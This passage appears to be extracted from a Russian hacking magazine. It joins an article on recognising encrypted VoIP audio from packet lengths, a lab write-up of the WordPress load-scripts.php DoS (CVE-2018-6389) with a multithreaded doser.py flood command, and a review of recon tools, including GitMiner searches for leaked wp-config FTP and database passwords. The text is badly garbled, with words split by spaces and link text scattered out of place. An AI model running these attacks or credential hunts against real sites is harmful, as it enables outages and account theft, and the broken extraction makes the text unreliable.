(даже для такого слу чай ного, как мар ков ский про цесс) есть один‐единс твен‐ 
ный  ,  одна‐единс твен ная  луч шая  цепоч ка.  Она  же  будет
и наибо лее веро ятной пре тен ден ткой, которую, ско рее все го, выберет ауди‐ 
око дек  при  упа ков ке  соот ветс тву юще го  ауди офрагмен та  (ведь  ее  уни каль‐ 
ность выража ется в том чис ле и в том, что она луч ше дру гих под дает ся упа‐ 
ков ке).  Такие «луч шие цепоч ки» могут быть най дены при помощи 

 (как это, нап ример, сде лано  ).

луч ший  путь

ал горит ма
Витер би здесь

Кро ме того, в задачах рас позна вания речи  (в  том чис ле из зашиф рован‐ 
ного потока дан ных, как в нашем слу чае) так же полез но уметь вычис лять, нас‐ 
коль ко  веро ятно,  что  выб ранная  нами  цепоч ка  будет  сге нери рова на  HMM‐
авто матом. Лаконич ное решение дан ной задачи при веде но  ; оно опи‐ 
рает ся на алго ритм   и алго ритм  .

здесь
«впе ред‐назад» Ба ума — Вел ша

  на  осно ве  HMM‐авто мата  раз работан  метод  иден тифика ции
язы ка,  на  котором  идет  раз говор,  с  точ ностью  в  66%. Но  такая  низ кая  точ‐ 
ность  не  очень  впе чат ляет,  поэто му  есть  более  прод винутая  модифи кация
HMM‐авто мата — PHMM, которая вытяги вает из шиф рован ного ауди опо тока
нам ного боль ше законо мер ностей. Нап ример,   под робно опи сано,
как при помощи PHMM‐авто мата иден тифици ровать  в  зашиф рован ном  тра‐ 
фике сло ва и фра зы (а эта задача будет пос ложнее, чем прос то иден тифика‐ 
ция язы ка, на котором идет раз говор) с точ ностью до 90%.

Вот  здесь

вот здесь

ПРИНЦИП ДЕЙСТВИЯ PHMM-АВТОМАТОВ
 — это усо вер шенс тво ван ная модифи кация HMM‐авто мата, в которой,

помимо сос тояний «соот ветс твия» (квад раты с бук вой M), так же при сутс тву ют
сос тояния «встав ки» (ром бы с бук вой I) и «уда ления» (кру ги с бук вой D). Бла‐ 
года ря этим двум новым сос тояниям PHMM‐авто маты, в отли чие HMM‐авто‐ 
матов, спо соб ны рас познать гипоте тичес кую цепоч ку A‐B‐C‐D, даже если она
при сутс тву ет не пол ностью (нап ример, A‐B‐D) или в нее про изве дена встав ка
(нап ример,  A‐B‐X‐C‐D). В  решении  задачи  рас позна вания  зашиф рован ного
ауди опо тока эти два новов ведения PHMM‐авто мата в осо бен ности полез ны.
Потому  что  выход ные  дан ные  ауди око дека  ред ко  сов пада ют,  даже  ког да
ауди овхо ды очень похожи (ког да, нап ример, один и тот же человек про изно‐ 
сит одну и ту же фра зу). Таким обра зом, прос тей шая модель PHMM‐авто мата
сос тоит из трех вза имос вязан ных цепочек сос тояний («соот ветс твия», «встав‐ 
ки»  и  «уда ления»),  которые  опи сыва ют  ожи даемые  дли ны  сетевых  пакетов
в  каж дой  позиции  цепоч ки  (зашиф рован ных  пакетов  VoIP‐тра фика  для  выб‐ 
ранной фра зы).

PHMM

При мер PHMM‐авто мата

Од нако,  пос коль ку  в  зашиф рован ном  ауди опо токе  сетевые  пакеты,
по  которым  рас фасова на  целевая  фра за,  как  пра вило,  окру жены  дру гими
сетевы ми  пакета ми  (осталь ной  частью  раз говора),  нам  пот ребу ется
еще более прод винутый PHMM‐авто мат. Такой, который смо жет изо лиро вать
целевую  фра зу  от  дру гих,  окру жающих  ее  зву ков.    для  это го
к  исходно му  PHMM‐авто мату  добав ляют  пять  новых  сос тояний.  Наибо лее
важ ное из этих добав ленных пяти сос тояний — «слу чай ное» (ромб со сло вом
Random).  PHMM‐авто мат  (пос ле  завер шения  ста дии  обу чения)  перехо дит
в это сос тояние, ког да к нему на вход попада ют те пакеты, которые не явля‐ 
ются частью инте ресу ющей нас фра зы. Сос тояния PS (Profile Start) и PE (Pro‐
file End) обес печива ют переход меж ду слу чай ным сос тоянием и про филь ной
частью  модели.  Такая  улуч шенная  модифи кация  PHMM‐авто мата  спо соб на
рас позна вать  даже  те  фра зы,  которых  авто мат  «не  слы шал»  на  эта пе  обу‐ 
чения.

Вот  здесь

PHMM‐авто мат реша ет задачу рас позна вания шиф рован ного ауди опо ‐
тока

ОТ ТЕОРИИ К ПРАКТИКЕ: РАСПОЗНАВАНИЕ ЯЗЫКА, НА КОТОРОМ
ИДЕТ РАЗГОВОР

  пред став лена  экспе римен таль ная  уста нов ка  на  осно ве  PHMM‐
авто мата, при помощи которой были про ана лизи рова ны шиф рован ные ауди‐ 
опо токи с речью 2000 носите лей язы ка из 20 раз ных язы ковых групп. Пос ле
завер шения  тре ниро воч ного  про цес са  PHMM‐авто мат  иден тифици ровал
язык раз говора с точ ностью от 60 до 90%: для 14 из 20 язы ков точ ность иден‐ 
тифика ции пре выси ла 90%, для осталь ных — 60%.

Вот  здесь

Эк спе римен таль ная уста нов ка, пред став ленная на рисун ке ниже, вклю чает
в  себя  два  ПК  под  управле нием  Linux  с  опен сор сным  соф том  VoIP.  Одна
из машин работа ет как сер вер и слу шает в сети SIP‐вызовы. Пос ле получе ния
вызова  сер вер  авто мати чес ки  отве чает  або нен ту,  ини циали зируя  речевой
канал в режим Speex over RTP. Здесь сле дует упо мянуть, что канал управле‐ 
ния в VoIP‐сис темах, как пра вило, реали зует ся поверх TCP‐про токо ла и либо
работа ет  по  какому‐то  из  обще дос тупных  про токо лов  с  откры той  архи тек‐ 
турой  (SIP,  XMPP,  H.323),  либо  име ет  зак рытую  архи тек туру,  спе цифич ную
для кон крет ного при ложе ния (как в Skype,  ).нап ример

Эк спе римен таль ная уста нов ка для работы с PHMM‐авто матом

Ког да речевой канал ини циали зиро ван, сер вер вос про изво дит файл вызыва‐ 
юще му або нен ту, а затем завер шает SIP‐соеди нение. Або нент, который явля‐ 
ется еще одной машиной в нашей локаль ной сети, дела ет SIP‐вызов сер веру
и затем при помощи сниф фера «слу шает» файл, который про игры вает ся сер‐ 
вером:  прос лушива ет  цепоч ку  сетевых  пакетов  с  шиф рован ным  ауди отра‐ 
фиком, пос тупа ющих от сер вера. Далее або нент либо тре ниру ет PHMM‐авто‐ 
мат на иден тифика цию язы ка раз говора (исполь зуя опи сан ный в пре дыду щих
раз делах  матема тичес кий  аппа рат),  либо  «спра шива ет»  у  PHMM‐авто мата,
на каком язы ке идет раз говор. Как уже упо мина лось, дан ная экспе римен таль‐ 
ная уста нов ка обес печива ет точ ность иден тифика ции язы ка до 90%.

ПРОСЛУШИВАНИЕ ШИФРОВАННОГО АУДИОПОТОКА SKYPE
  про демонс три рова но,  как  при  помощи  PHMM‐авто мата  решать

еще более слож ную задачу: рас позна вать шиф рован ный ауди опо ток, генери‐ 
руемый  прог раммой  Skype  (которая  исполь зует  ауди око дек  Opus/NGC
в  VBR‐режиме  и  256‐бит ное  AES‐шиф рование).  В  этой  раз работ ке  исполь‐ 
зует ся экспе римен таль ная уста нов ка вро де той, что пред став лена на рисун ке
выше, но толь ко со Skype’овским кодеком Opus.

Здесь

Для  обу чения  сво его  PHMM‐авто мата  иссле дова тели  вос поль зовались
такой пос ледова тель ностью шагов:
1. Сна чала  соб рали  набор  саунд тре ков,  вклю чающих  все  инте ресу ющие  их
фра зы.

2. За тем  уста нови ли  сниф фер  сетевых  пакетов  и  ини цииро вали  голосо вую
беседу меж ду дву мя учет ными запися ми Skype  (это при вело к  генера ции
шиф рован ного UDP‐тра фика меж ду дву мя машина ми, в режиме P2P).

3. За тем  про игры вали  каж дый  из  соб ранных  саунд тре ков  в  Skype‐сеан се,
исполь зуя  меди апле ер,  с  пятисе кун дны ми  интерва лами  мол чания  меж ду
тре ками.

4. Тем  вре менем  пакет ный  сниф фер  был  нас тро ен  для  регис тра ции  все го
тра фика, пос тупа юще го на вто рую машину экспе римен таль ной уста нов ки.

Пос ле  сбо ра  всех  тре ниро воч ных  дан ных  цепоч ки  длин  UDP‐пакетов  были
извле чены  при  помощи  авто мати чес кого  пар сера  для  PCAP‐фай лов.
Получен ные  цепоч ки,  сос тоящие  из  длин  пакетов  полез ной  наг рузки,  затем
исполь зовались для тре ниров ки PHMM‐модели с исполь зовани ем алго рит ма

.Ба ума — Вел ша

А ЕСЛИ ОТКЛЮЧИТЬ VBR-РЕЖИМ?
Ка залось  бы,  проб лему  подоб ных  уте чек мож но  решить,  переве дя  ауди око‐ 
деки в режим пос тоян ного бит рей та  (хотя  какое же это решение — про пус‐ 
кная спо соб ность от это го рез ко сни жает ся), но даже в этом слу чае безопас‐ 
ность шиф рован ного  ауди опо тока  все  еще оставля ет  желать  луч шего. Ведь
экс плу ата ция длин пакетов VBR‐тра фика — это лишь один из при меров ата ки
по обходным каналам. Но есть и дру гие при меры атак, нап ример 

.
от сле жива‐ 

ние пауз меж ду сло вами
За дача,  конеч но,  нет риви аль ная,  но  .  Почему  нет риви‐ 

аль ная?  Потому  что  в  Skype,  нап ример  в  целях  сог ласова ния  работы  UDP‐
про токо ла  и  NAT  (network  address  translation  —  пре обра зова ние  сетевых
адре сов), а так же для повыше ния качес тва переда ваемо го голоса, переда ча
сетевых  пакетов  не  оста нав лива ется,  даже  ког да  в  раз говоре  воз ника ют
паузы. Это усложня ет задачу выяв ления пауз в речи.

впол не  реша емая

Од нако   раз работан алго ритм адап тивно го порого вого зна чения,
поз воля ющий отли чать  тишину от речи с  точ ностью более 80%; пред ложен‐ 
ный метод осно ван на том фак те, что речевая активность силь но кор релиру ет
с  раз мером  зашиф рован ных  пакетов:  боль ше  информа ции  кодиру ется
в  голосо вом  пакете,  ког да  поль зователь  говорит,  чем  во  вре мя  мол чания
поль зовате ля. А   (с акцентом на Google Talk, Lella и Bettati) говоря‐ 
щий  иден тифици рует ся,  даже  ког да  через  раз мер  пакетов  никакая  утеч ка
не идет (даже ког да VBR‐режим отклю чен). Здесь иссле дова тели опи рают ся
на  изме рение  вре мен ных  интерва лов меж ду  при ема ми  пакетов. Опи сан ный
метод  опи рает ся  на  фазы  мол чания,  которые  кодиру ются  в  более  мел кие
пакеты, с более длин ными вре мен ными интерва лами — что бы отде лять сло ва
друг от дру га.

вот здесь

вот здесь

ЗАКЛЮЧЕНИЕ
Как показы вает прак тика, даже самая сов ремен ная крип тогра фия нес пособ‐ 
на защитить шиф рован ные VoIP‐ком муника ции от прос лушива ния, в том чис‐ 
ле если эта крип тогра фия реали зова на над лежащим обра зом — что уже само
по себе  . Сто ит так же отме тить, что в дан ной статье под робно
разоб рана лишь одна матема тичес кая модель циф ровой обра бот ки сиг налов
(PHMM‐авто маты),  которая ока зыва ется  полез ной при рас позна вании шиф‐ 
рован ного ауди опо тока (в таком шпи онском соф те пра витель ствен ных спец‐ 
служб, как PRISM и BULLRUN). Но таких матема тичес ких моделей сущес тву ют
десят ки  и  сот ни.  Так  что  если  хочешь  идти  в  ногу  со  вре менем —  смот ри
на мир сквозь приз му выс шей матема тики.

ма лове роят но

INFO

Не забывай о  кри тичес ком мыш лении. Поп робуй
погово рить  с  голосо вым  вво дом  Google,  но  не
ста рай ся  про изно сить фра зы мед ленно  и  понят‐ 
но.  Говори  как  обыч но.  Вклю чи  авто мати чес кие
суб титры  в  Youtube.  Как  тебе  нра вит ся  качес тво
рас позна вания  исходно  ничем  не  изме нен ной
голосо вой  информа ции?  :)  Логич ный  вывод:
со  все ми  перечис ленны ми  алго рит мами  в  пла не
рас позна вания речи все зна читель но хуже.
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ВЗЛОМ

В WordPress, самой популяр ной CMS в мире, была най дена
ошиб ка,  которая поз воля ет  вызывать отказ в обслу жива нии
сай та,  то  есть  DoS.  Успешную  экс плу ата цию  с  лег костью
воз можно про вес ти уда лен но, и для это го не нуж но обла дать
никаки ми пра вами в сис теме.

Брешь  была  обна руже на  изра иль ским  ресер чером  Бараком  Тавили  (Barak
Tawily  aka  Quitten),  ког да  он  изу чал  оче ред ной  про ект  на  WordPress.  Уяз‐ 
вимость  получи ла  иден тифика тор    и  при сутс тву ет  на  тысячах
сай тов по все му миру, так как раз работ чики из WordPress Foundation не спе‐ 
шат приз навать серь езность проб лемы и исправ лять ее. В резуль тате от бага
не  избавле ны  даже  самые  све жие  на  момент  написа ния  статьи  вер сии
CMS — 4.9.5.

CVE‐2018‐6389

Итак,  пред лагаю  пос мотреть  на  уяз вимость  поб лиже,  а  там  ты  уже  сам
решишь, нас коль ко стра шен черт.

СТЕНД
Я уже неод нократ но под нимал стенд для тес тирова ния уяз вимос тей в Word‐
Press,  что бы  написать  об  оче ред ной  уяз вимос ти,  поэто му  быс трень ко  про‐ 
бегусь по основным аспектам, не силь но вда ваясь в под робнос ти.

По  тра диции исполь зуем кон тей нер Docker на Debian и седь мую вер сию
PHP с Apache.

$ docker run ‐it ‐‐rm ‐p80:80 ‐‐name=wpdos ‐‐hostname=wpdos debian /
bin/bash
$ apt‐get update && apt‐get install ‐y mysql‐server apache2 php php7.
0‐mysqli nano wget

Ска чива ем и рас паковы ваем WordPress вер сии 4.9.5:

$ cd /tmp && wget https://wordpress.org/wordpress‐4.9.5.tar.gz
$ tar xzf wordpress‐4.9.5.tar.gz
$ rm ‐rf /var/www/html/* && mv wordpress/* /var/www/html/
$ chown ‐R www‐data:www‐data /var/www/html/

За пус каем необ ходимые сер висы:

$ service mysql start && service apache2 start
$ mysql ‐u root ‐e "CREATE DATABASE wpdos; GRANT ALL PRIVILEGES ON *.
* TO 'root'@'localhost' IDENTIFIED BY 'megapass';"

Даль ше дело за уста нов кой CMS через бра узер.

Ус танов ка WordPress

ДЕТАЛИ УЯЗВИМОСТИ
Итак,  Тавили  во  вре мя  прос мотра  оче ред ного  сай та  на  WordPress  обра тил
вни мание  на  скрипт  .  Он  исполь зует ся  для  отоб ражения
JavaScript.  Наз вания  заг ружа емых  фай лов  ука зыва ются  в  парамет ре  ,
и  при  выводе  их  содер жимое  объ еди няет ся.  Сде лано  это  для  того,  что бы
уско рить заг рузку стра ницы и умень шить количес тво зап росов к сер веру.

load‐scripts.php
load

Та ким обра зом, что бы бра узер получил все нуж ные для кор рек тно го отоб‐ 
ражения  фай лы  JS,  дос таточ но  сде лать  зап рос  на  один  скрипт 

,  в  парамет рах  которо го  будут  перечис лены  все  необ ходимые
фай лы JavaScript. Это, кста ти, доволь но рас простра нен ная прак тика при раз‐ 
работ ке  бэкен да.  Та  же  логика  у  скрип та  ,  толь ко  в  отно‐ 
шении фай лов CSS.

load‐
scripts.php

load‐styles.php

Пос мотрим  на  исходный  код  .  Наз вания  фай лов  ука‐ 
зыва ются через запятую.

load‐scripts.php

/wp-admin/load-scripts.php
17: $load = $_GET['load'];
18: if ( is_array( $load ) )
19:     $load = implode( '', $load );
20:
21: $load = preg_replace( '/[^a‐z0‐9,_‐]+/i', '', $load );
22: $load = array_unique( explode( ',', $load ) );

Ка кие же скрип ты мы можем заг рузить? Разуме ется, про изволь ный файл про‐ 
читать  не  получит ся,  сущес тву ет  чет ко  про писан ный  спи сок  раз решен ных
объ ектов.

/wp-admin/load-scripts.php
48: foreach ( $load as $handle ) {
49:     if ( !array_key_exists($handle, $wp_scripts‐>registered) )
50:         continue;
51:
52:     $path = ABSPATH . $wp_scripts‐>registered[$handle]‐>src;
53:     $out .= get_file($path) . "\n";
54: }

Этот  спи сок  находит ся  в  свой стве    клас са    и  запол‐ 
няет ся при помощи фун кции   из фай ла 

.

registered WP_Scripts
wp_default_scripts script‐loader.

php

/wp-admin/load-scripts.php
36: $wp_scripts = new WP_Scripts();
37: wp_default_scripts($wp_scripts);

/wp-includes/script-loader.php
37: /**
38:  * Register all WordPress scripts.
...
46:  * @param WP_Scripts $scripts WP_Scripts object.
47:  */
48: function wp_default_scripts( &$scripts ) {

По пол няет ся  спи сок  раз решен ных  к  заг рузке  фай лов  при  помощи  метода
.add

/wp-includes/script-loader.php
048: function wp_default_scripts( &$scripts ) {
...
086:    $scripts‐>add( 'wp‐a11y', "/wp‐includes/js/wp‐a11y$suffix.js"
, array( 'jquery' ), false, 1 );
087:
088:    $scripts‐>add( 'sack', "/wp‐includes/js/tw‐sack$suffix.js", 
array(), '1.6.1', 1 );
...
125:    $scripts‐>add( 'editor', "/wp‐admin/js/editor$suffix.js", 
array('utils','jquery'), false, 1 );
...

В  парамет рах  вызова  ука зыва ются  наз вание  эле мен та,  путь  до  фай ла,
зависи мос ти от дру гих эле мен тов, вер сия и про чее.

/wp-includes/class.wp-scripts.php
18: class WP_Scripts extends WP_Dependencies {

/wp-includes/class.wp-dependencies.php
206:    public function add( $handle, $src, $deps = array(), $ver = 
false, $args = null ) {
207:        if ( isset($this‐>registered[$handle]) )
208:            return false;
209:        $this‐>registered[$handle] = new _WP_Dependency( $handle,
$src, $deps, $ver, $args );

210:        return true;
211:    }

Пол ный спи сок всех вызовов заг ружа емых эле мен тов мож но най ти  . Все го
их 181. По умол чанию заг ружа ются минифи циро ван ные вер сии скрип тов.

тут

/wp-includes/script-loader.php
67:     $suffix = SCRIPT_DEBUG ? '' : '.min';
68:     $dev_suffix = $develop_src ? '' : '.min';

Вы зов заг рузки скрип та utils.min.js через load‐scripts.php

Идея в том, что бы про читать все воз можные JS‐фай лы одним зап росом. Он
получа ется монс тру озным,  не  буду  при водить  его  целиком,  но  вмес то мно‐ 
гото чия в кон це дол жно идти еще 170 наз ваний фай лов.

http://wpdos.visualhack/wp‐admin/load‐scripts.php?load=utils,common,
wp‐a11y,sack,quicktags,colorpicker,editor,wp‐fullscreen‐stub,wp‐ajax‐
response,wp‐api‐request,wp‐pointer...

Вре мя,  про шед шее  от  отправ ления  зап роса  до  пер вого  получен ного  бай та
отве та,  рав но  ~500  мил лисекунд.  При мер но  столь ко  сер вер  обра баты вал
этот зап рос.

Заг рузка всех JS‐фай лов одновре мен но через зап рос к load‐scripts.php

Каж дый файл чита ется отдель но при помощи  .file_get_contents

/wp-admin/includes/noop.php
102: function get_file( $path ) {
103:
104:    if ( function_exists('realpath') ) {
105:        $path = realpath( $path );
106:    }
107:
108:    if ( ! $path || ! @is_file( $path ) ) {
109:        return '';
110:    }
111:
112:    return @file_get_contents( $path );
113: }

По луча ется, что каж дый зап рос будет вызывать 181 опе рацию вво да‐вывода,
и  если  таких  зап росов  будет  мно го,  то  в  ско ром  вре мени  у  сер вера  могут
начать ся проб лемы. Осо бен но это каса ется сай тов на shared‐хос тингах.

АВТОМАТИЗИРУЙ ЭТО
Те перь  давай  орга низу ем  мно жес твен ные  зап росы  к  такому  URL.  Тавили
для  этих  целей  исполь зовал  самопис ную  ути литу  под  наз вани ем  ,
которая выпол няет зап росы к сер веру в ука зан ное количес тво потоков. Сам
скрипт  написан  на  Python  2.7  с  исполь зовани ем  биб лиотек  requests
и threading.

doser

Про цеду ра вызова прос та:

$ python doser.py ‐g <url> ‐t 999

Ключ    говорит  нам,  что  нуж но  отправ лять  зап росы  методом  GET,  а  с
помощью   мож но ука зать количес тво потоков.

g
t

doser.py
067: def sendGET(url):
...
070:    try:
071:        request_counter+=1
072:        request = requests.get(url, headers=headers)
...
094:            while True:
095:                global url
096:                sendGET(url)
...
113: def main(argv):
...
115:    parser.add_argument('‐g', help='Specify GET request. Usage: 
‐g \'<url>\'')
...
119:    parser.add_argument('‐t', help='Specify number of threads to 
be used', default=500, type=int)
...
128:        for i in range(args.t):
129:            t = SendGETThread()

Воз можно,  решение  не  самое  быс трое  и  опти маль ное,  но  скрипт  работа ет
доб росовес тно  и  с  задачей  справ ляет ся.  Пос ле  двух  тысяч  зап росов  наш
прос тень кий сер вер уже недос тупен для обыч ного поль зовате ля.

Ус пешно про веден ная DoS‐ата ка

Что бы  добавить  еще  нем ного  наг рузки,  можешь  допол нитель но  отправ лять
зап росы на заг рузку фай лов CSS через  .load‐styles.php

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Вот  такой  нес тандар тный  век тор  ата ки.  Конеч но,  импакт  от  его  исполь‐ 
зования  не  слиш ком  серь езный,  ина че  мы  бы  уже  наб людали  мас совый
«падёж».  Пра виль но  нас тро енный  выделен ный  сер вер  от  такого  трю ка  пос‐ 
тра дать не дол жен. А вот на shared‐хос тингах сто ят лимиты на пот ребля емые
ресур сы, и, если они исчерпа ются, могут воз никнуть проб лемы. Так, во вре мя
тес тирова ния  на  одном  из  моих  сай тов  хос тер  зас памил  мне  поч ту  сооб‐ 
щени ями о пре выше нии выделен ных лимитов.

По чему же  в WordPress  не  счи тают  это  сво ей  проб лемой и  не  торопят ся
исправ лять?  С  одной  сто роны,  раз работ чиков  мож но  понять:  они  не  несут
ответс твен ности за исполь зование их CMS на сла бых или некор рек тно нас‐ 
тро енных  сер верах  (WordPress  вооб ще‐то  далеко  не  самая  лег кая  CMS).
Но  это  сов сем  не  то,  что  хочет ся  слы шать  от  раз работ чиков  сис темы,
на  которой работа ет  твой блог. Проб лему  все рав но  при дет ся фик сить,  и  я
уве рен,  что  есть  мас са  безобид ных  спо собов  сде лать  это.  Да  ей  уже  дали
CVE, в кон це кон цов!

https://twitter.com/iamsecurity
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
https://gist.github.com/allyshka/6b5d4b5ab704d57dc71ebe331dd2aea0
https://github.com/quitten/doser.py
https://vimeo.com/263672798
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ВЗЛОМ

Се год няшний  X‐Tools  пос вящен  сбо ру  и  ана лизу  откры тых
дан ных. Дру гими сло вами — эта пу рекона. Оче ред ные семь
тулз, которые помогут най ти, прос каниро вать уяз вимые хос‐ 
ты,  а  так же  облегчить  этап  экс плу ата ции,  обо гащая  ресер‐ 
чера новыми зна ниями о целевой машине.

ИЩЕМ ИНТЕРЕСНЫЕ СТРОКИ В GIT-РЕПОЗИТОРИЯХ
Раз работ чик: • Danilo Vaz aka UNK
Стра ница: • GitHub

Бо евые логины и пароли в Git‐репози тории — это уже прит ча во язы цех и нас‐ 
тоящий security‐фоль клор. Казалось бы, сегод ня уже все зна ют, что чувс тви‐ 
тель ные  дан ные  дол жны  быть  как  минимум  заиг норены  в  ,  но  в
паб лике  регуляр но  всплы вают  кре ды  и  дру гие  цен ные  строч ки  в  откры том
виде. При чин мас са: или репози торий изна чаль но был при ват ным, или вком‐ 
митили тес товые дан ные, забыли и перенес ли на про дак шен — вся кое быва‐ 
ет. Ощу тить весь мас штаб тра гедии поможет инте рес ная тул за — GitMiner.

.gitignore

GitMiner —  это  поис ковик  по  откры тым  репози тори ям  на GitHub.  Ты  ука‐ 
зыва ешь  ему,  что  искать  (логины,  пароли),  в  каких  фай лах  (наз вание,  рас‐ 
ширение),  что  дол жно  быть  внут ри  (что бы  исклю чить фал сы  по мак симуму),
а так же пра вила для пар синга. И запус каешь поиск. В ответ тебе в удоб ном
виде будут сыпать ся зап рошен ные дан ные, а так же URL, где это безоб разие
было обна руже но. Для работы понадо бит ся авто риза цион ная кука с Гит хаба,
которую можешь взять в Chrome Dev Tools.

➜ git_miner.py ‐q 'filename:wp‐config extension:php FTP_HOST in:
file ' ‐m wordpress ‐c <твоя_кука> ‐o result.txt

В  ответ  тебе  будут  при ходить  вот  такие  веселые  кар тинки.  И  разуме ется,
далеко не вез де дан ные тес товые.

Кро ме логинов и паролей, искать мож но еще мно го чего. Заг ляни в 
.  Там  най дешь  опи сание  модулей —  шаб лонов  для  пар синга

в GitMiner.  Если  хочешь  пар сить  что‐то  иное,  прос то  добавь  еще  один  узел
в JSON c нуж ными парамет рами.

config/
parsers.json

➜ cat config/parsers.json
{
 "wordpress":{
   "contains":"root",
   "parameters":{
     "param1":"'FTP_USER',",
     "param2":"'FTP_PASS',",
     "param3":"'FTP_HOST',",
     "param4":"'DB_USER',",
     "param5":"'DB_PASSWORD',"
   },
   "splitparam":"'",
   "splitorder":{
     "order1":"1",
     "order2":"3"
   }
 },
 "senhas":{
   "contains":"senha",
   "parameters":{
   ...

GitMiner  отлично  работа ет  с  треть им  Питоном  и  миниму мом  зависи мос тей,
а зна чит, запус тится в обыч ном virtualenv. Но на слу чай, если запус кать чужой
код на хос те не хочет ся сов сем, в репе ты най дешь еще и Dockerfile.

INFO

Ес ли тул за будет падать с 
, поп робуй убрать

из 78‐й стро ки энкод в UTF‐8  (
):   тут ждет str.

TypeError: write() ar‐
gument must be str, not bytes

.encode("utf‐
8") write()

ВСПОМИНАЕМ ДЕФОЛТНЫЕ ПАРОЛИ РОУТЕРОВ
Раз работ чик: • Viral Maniar
Стра ница: • GitHub

Де фол тные  пароли  на  сетевых  устрой ствах  встре чают ся  чаще,  чем  может
показать ся на пер вый взгляд. В интерне те откры тыми пор тами наружу тор чат
сот ни роуте ров не толь ко час тных поль зовате лей, но и кор поратив ных сетей.
Если, судя по фин гер прин там, ты наб рел на такую желез ку, поп робуй дефол‐ 
тные  пароли  —  вдруг  подой дет?  А  сами  завод ские  кре ды  поможет  най ти
Passhunt.

Passhunt  —  это  прос тень кий  скрипт  на  Python,  который  поз воля ет  быс тро
вывес ти  дефол тные  логины  и  пароли  для  наибо лее  популяр ных  устрой ств:
как  пре иму щес твен но  консь юмер ских  типа  Zyxel,  D‐Link,  так  и  про мыш‐ 
ленных — Cisco, Check  Point  и  так  далее.  В  базе  тул зы  523  вен дора,  и  она
дей стви тель но может выручить, ког да ты в оче ред ной раз соберешь ся писать
в Гуг ле  .mikrotik default login password

В  доке  к  Passhunt  ука зано,  что  она  работа ет  с  Python  3.0+,  одна ко  в  ее
зависи мос ти   естьssl‐1.16

➜ print 'looking for', f

что нед вусмыс ленно говорит об обратном и валит pip при уста нов ке. Мож но
дол го мучать Python 2.6  (а она работа ет имен но с ним!) для работы модуля
ssl,  пока  не  пой мешь,  что  раз работ чик...  прос то  забыл  уда лить    из 

  при  перехо де  на  третью  вет ку. Прос то  уда ли  зависи мость,
сде лай  , и оно зарабо тает.

ssl re‐
quirements.txt

pip install ‐r requirements.txt
А вооб ще, сам Passhunt написан в «луч ших» тра дици ях хак тулз, так что про‐ 

ще юзать curl ;). В кон це кон цов, Passhunt — это прос то обер тка, которая пар‐ 
сит   с помощью BeautifulSoup.https://cirt.net/

СКАНИРУЕМ УЯЗВИМЫЕ СЕРВИСЫ
Раз работ чик: • scip AG
Стра ница: • GitHub

Nmap — это дефол тная тул за для всех, кто хоть как‐то отно сит ся к network se‐
curity.  Воз можнос ти  куль тового  ска нера,  разуме ется,  не  огра ничи вают ся
прос тым ска ниро вани ем пор тов.

WWW

Ес ли хочешь разоб рать ся под робнее в теме, обя‐ 
затель но  проч ти  матери алы  по 
и  .

трю кам  с  nmap
NSE‐скрип тингу

А пока напом ню, что Nmap зачас тую помога ет при ска ниро вании отфингер‐ 
прин тить  вер сию  исполь зуемо го  на  хос те  соф та.  А  это,  в  свою  оче редь,
поможет  узнать,  какие  уяз вимос ти  потен циаль но  могут  обна ружить ся
на иссле дуемой машине.

Про ект  vulscan —  это  NSE‐скрипт,  который  прев ратит  твой  Nmap  в  ска нер
уяз вимос тей.  В  ком плек те  со  скрип том  идет  нес коль ко  баз  уяз вимос тей.
Уста нов ка нехит ра — прос то кло нируй репу в   (для Nmap из macOS,
нап ример,  это  будет  )
и запус кай, передав в аргу мен те NSE‐скрипт:

/scripts
/usr/local/Cellar/nmap/7.60/share/nmap/scripts

➜ nmap ‐sV ‐‐script=vulscan/vulscan.nse target.com

Поль зуясь слу чаем, не могу не рес пекта нуть дру жес твен ному  ,
реша юще му  схо жую  задачу:  у  пар ней  есть  пла гин  для  Burp,  а  так же  рас‐ 
ширение  для  Chrome,  которое  во  вре мя  сер финга  ана лизи рует  заголов ки
сер веров, све ряет по сво ей базе и, если видит уяз вимый софт, репор тит тебе
об этом. Удоб но!

про екту Vulners

ВЫХОДИМ ЗА ПРЕДЕЛЫ WEB ROOT
Раз работ чик: • Julio C. Stefanutto
Стра ница: • GitHub

Нес мотря на засилье мод ных веб‐аппов и то, что   нет в 
,  в  реаль ном  мире  эта  уяз вимость  по‐преж нему  встре чает ся.  Неп‐ 

равиль но  скон фигури рован ные  сер веры,  увы,  не  ред кость,  и  «погулять»  вне
web  root  по‐преж нему  мож но  с  завид ной  регуляр ностью.  Ути лита
dotdotslash —  твой  вер ный  помощ ник  в  деб рях  неиз вес тных фай ловых  сис‐ 
тем.

Path Traversal OWASP
Top  10

Скрипт на Питоне при нима ет пару обя затель ных аргу мен тов:
 — что ресер чить;• url

 — параметр, через который будем выходить из рутовой дирек‐ 
тории.

• string

Че рез параметр   мож но задавать глу бину ска ниро вания, что бы огра‐ 
ничить ско уп.

‐‐depth

В  сво ей  работе  тул за  опи рает ся  на  неболь шую  базу  обыч ных  фай лов
для дир бастин га.

А ищет их с помощью ряда predefined‐пат тернов для бру та, часть из которых
тебе навер няка извес тна.

В общем, Python 3, зависи мос тей нет. Брат жив. :)

ДИРБАСТИМ ХОСТЫ НА СЛОВАРНЫЕ ДИРЕКТОРИИ
Раз работ чик: • Abay
Стра ница: • GitHub

Раз уж речь заш ла о Path Traversal, куда же без дир бастин га. Порою перебор
наибо лее  популяр ных  дирек торий  в  веб‐при ложе нии  вскры вает  мно жес тво
тай ников.  И  хотя  ори гиналь ный  dirbuster  от  OWASP  чуть  менее  чем  мертв,
у нас есть мно жес тво схо жих по наз начению ути лит. Одна из них — CrawlBox.

CrawlBox  —  это  прос той,  но  фун кци ональ ный  дир бастер  дирек торий,
написан ный на Python. Из полез ностей могу выделить воз можность спу фить
юзер‐агент и исполь зовать сто рон ние   через параметр  .ба зы для бру та ‐w

WWW

В  качес тве  базы  так же  советую  под клю чить 
 от моего дру га и кол леги  .

fuz‐
z.txt Bo0oM

Для работы CrawlBox тре бует Python 2. Пра ва root, воп реки завере нию авто‐ 
ра, не пот ребу ются — ты же не сис тему ста вишь, в отли чие от некото рых? :)

ИЩЕМ SAN В SSL-СЕРТИФИКАТАХ
Раз работ чик: • Franccesco Orozco
Стра ница: • GitHub

Ты  навер няка  видел,  что  некото рые  SSL‐сер тифика ты  поз воля ют  защищать
